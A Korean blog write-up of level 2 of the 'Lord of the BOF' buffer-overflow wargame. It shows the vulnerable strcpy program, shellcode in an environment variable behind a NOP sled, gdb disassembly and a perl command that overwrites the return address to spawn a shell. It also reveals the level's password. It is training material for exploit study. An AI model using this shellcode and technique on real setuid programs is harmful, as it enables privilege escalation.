티스토리 뷰
BOF 원정대 2단계 입니다.
1단계와 마찬가지로 bash 쉘이 아니 bash2 쉘에서 진행됩니다.
홈 디렉토리에 가면 cobolt.c 와 cobolt 실행 파일이 있습니다.
우선 cobolt.c 를 까보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
1단계와 거의 비슷하지만 buffer의 크기가 256 byte 에서 16 byte로 팍 줄었습니다.
여기서는 buffer에 쉘 코드를 직접 박는 짓은 못하겠고
환경변수를 사용해서 BOF를 하도록 하겠습니다.
우선 export 명령어로 환경변수를 등록합니다.
export YoWu=`perl -e 'print "\x90"x512, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"';`
환경변수 앞에 nop 코드를 박는 이유는 여러가지가 있는데
궁금하시면 검색해보시는 것도 괜찮을 것 같습니다.
우선 파일 이름에 따라 환경변수의 주소값이 미묘하게 변하는 이유도 있습니다.
nop 코드를 몇 개를 사용하느냐가 크게 중요한 것 같진 않지만 저는 습관상 512개를 넣었습니다.
env 명령어를 입력하면 환경변수가 등록되었나 확인할 수 있습니다.
변수의 내용은 확인할 수 없지만 YoWu 란 이름으로 환경변수가 등록 되었습니다.
환경변수 내부의 쉘 코드를 실행시키기 위해 환경변수의 메모리 주소값를 알아야합니다.
YoWu 환경변수의 주소값을 알아내기 위해 C로 간단한 프로그램을 짭니다.
1 2 3 4 5 6 | #include<stdio.h> void main() { printf("YoWu address : %x\n", getenv("YoWu")); } |
이렇게 스택 메모리상 어디에 위치했는지 확인 할 수 있습니다.
다음으로 cobolt 파일의 메모리 위치를 계산하겠습니다.
gdb로 cobolt 실행 파일을 깝니다.
set disassembly-flavor intel 명령어 입력한후
disas main 명령어를 통해 어셈블리를 확인하면
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 0x8048453 <main+35>: mov %eax,DWORD PTR [%ebp+12] 0x8048456 <main+38>: add %eax,4 0x8048459 <main+41>: mov %edx,DWORD PTR [%eax] 0x804845b <main+43>: push %edx 0x804845c <main+44>: lea %eax,[%ebp-16] 0x804845f <main+47>: push %eax 0x8048460 <main+48>: call 0x8048370 <strcpy> 0x8048465 <main+53>: add %esp,8 0x8048468 <main+56>: lea %eax,[%ebp-16] 0x804846b <main+59>: push %eax 0x804846c <main+60>: push 0x80484dc 0x8048471 <main+65>: call 0x8048350 <printf> 0x8048476 <main+70>: add %esp,8 0x8048479 <main+73>: leave 0x804847a <main+74>: ret |
buffer에 값이 입력되는 strcpy 함수 근처에 buffer 의 ebp 상대주소값이 나와있습니다.
현재 buffer가 ebp-16 위치에 있으므로
buffer에서 20 byte 만큼 덮어쓰면 ret에 접근할 수 있습니다.
아까 알아낸 환경변수의 주소 값을 이용해 다음과 같이 perl 구문을 짭니다.
~/cobolt `perl -e 'print "a"x20, "\x04\xfd\xff\xbf"';`
를 입력하면 쉘이 잘 뜨네요.
whoami 명령어를 통해 현재 계정이 cobolt 임을 확인할 수 있고
my-pass 명령어를 통해 cobolt 의 패스워드는 hacking exposed 임을 확인 할 수 있습니다.
'개인공부 > 버퍼 오버플로우' 카테고리의 다른 글
BOF 원정대 3단계 cobolt -> goblin (LEVEL 3) (0) | 2014.02.02 |
---|---|
BOF 원정대 1단계 gate -> gremlin (LEVEL 1) (0) | 2014.02.01 |